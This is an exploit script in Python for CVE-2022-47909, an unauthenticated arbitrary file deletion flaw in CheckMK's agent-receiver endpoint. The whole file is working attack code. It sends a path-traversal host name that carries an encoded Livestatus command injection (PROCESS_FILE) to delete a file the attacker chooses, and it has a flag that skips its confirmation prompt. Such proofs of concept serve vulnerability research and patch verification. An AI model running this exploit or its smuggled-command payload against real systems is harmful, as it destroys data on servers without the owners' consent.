# Exploit Title: CheckMK - Unauthenticated Arbitrary File Deletion # Date: 27-03-2023 # Exploit Author: Jacob Ebben # Version: Checkmk <= 2.1.0p11, Checkmk <= 2.0.0p28, and all versions of Checkmk 1.6.0 (EOL) # Tested on: CheckMK 2.1.0p10 - Official CheckMK Docker Image # CVE: CVE-2022-47909 #!/usr/bin/env python3 import argparse import requests import urllib3 import string import time from termcolor import colored from random import choice urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def print_message(message, type): if type == 'SUCCESS': print('[' + colored('SUCCESS', 'green') + '] ' + message) elif type == 'INFO': print('[' + colored('INFO', 'blue') + '] ' + message) elif type == 'WARNING': print('[' + colored('WARNING', 'yellow') + '] ' + message) elif type == 'ALERT': print('[' + colored('ALERT', 'yellow') + '] ' + message) elif type == 'ERROR': print('[' + colored('ERROR', 'red') + '] ' + message) class POC: def __init__(self, target, port, filename, username, proxy): self.exploit_url = f"https://{target}:{port}/cmk/agent-receiver/register_with_hostname" self.filename = filename self.username = username self.password = self._generate_random_password(16) self.proxies = self._get_proxies(proxy) if proxy else {} self.session = requests.Session() def confirm(self): confirmation_message = f"Are you sure you wish to delete {self.filename}? (Y/n) " confirmation_input = input('[' + colored('ALERT', 'yellow') + '] ' + confirmation_message) return confirmation_input == "Y" def exploit(self): start_message = f"Accessing \"{self.exploit_url}\" and sending payload to delete \"{self.filename}\" ..." print_message(start_message, "INFO") json = { "uuid": self._generate_random_uuid(), "host_name": self._get_host_name_payload(self.filename) } result = self.session.post( self.exploit_url, auth=(self.username, self.password), json=json, proxies=self.proxies, verify=False ) ending_message = f"If the system is vulnerable, then \"{self.filename}\" should be deleted!" print_message(ending_message, "SUCCESS") def _get_host_name_payload(self, filename): return f"../../../../ajax_graph_images.py?host={self._random_string(8)}&force_authuser={self._get_livestatus_query_injection(filename)}" def _get_livestatus_query_injection(self, filename): return "foo%0aKeepAlive:%20on%0a%0aCOMMAND%20[" + \ str(int(time.time())) + \ "]%20PROCESS_FILE%3b" + \ filename + \ "%3b1%0a%0aGET%20notexisting" def _random_string(self, length=16): return ''.join(choice(f"{string.ascii_letters}") for i in range(length)) def _generate_random_password(self, length): return self._random_string(length) def _random_hex_string(self, length=8): return ''.join(choice("0123456789abcdef") for i in range(length)) def _generate_random_uuid(self): return f"{self._random_hex_string(8)}-" + \ f"{self._random_hex_string(4)}-" + \ f"{self._random_hex_string(4)}-" + \ f"{self._random_hex_string(4)}-" + \ f"{self._random_hex_string(12)}" def _generate_random_hash(self): return self._random_hex_string(64) def _generate_random_cookie(self, username): return f"{username}:" + \ f"{self._generate_random_uuid()}:" + \ f"{self._generate_random_hash()}" def _get_normalized_url(self, url): if url[-1] != '/': url += '/' if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://': url = "http://" + url return url def _get_proxies(self, proxy_url): return {"https": self._get_normalized_url(proxy_url)} def main(): parser = argparse.ArgumentParser(description="CheckMK - Unauthenticated Arbitrary File Deletion") parser.add_argument('-t', '--target', required=True, type=str, help="ip or vhost of the CheckMK agent_receiver endpoint (Example: \"127.0.0.1\" or \"vulnerable.site\")"), parser.add_argument('-f', '--filename', required=True, type=str, help="full path of filename that the CheckMK service has write permissions on"), parser.add_argument('-u', '--username', default="automation", type=str, help='any valid username (Default: automation)'), parser.add_argument('-p', '--port', default=8000, type=int, help='port of the agent_receiver endpoint (Default: 8000)') parser.add_argument('-x','--proxy', default=None, type=str, help='http proxy address (Example: http://127.0.0.1:8080/)') parser.add_argument("--force", action='store_true', help="skip confirmation request") args = parser.parse_args() exploit = POC(args.target, args.port, args.filename, args.username, args.proxy) if args.force or exploit.confirm(): exploit.exploit() else: print_message("Exiting without exploitation ...", "INFO") if __name__ == "__main__": main()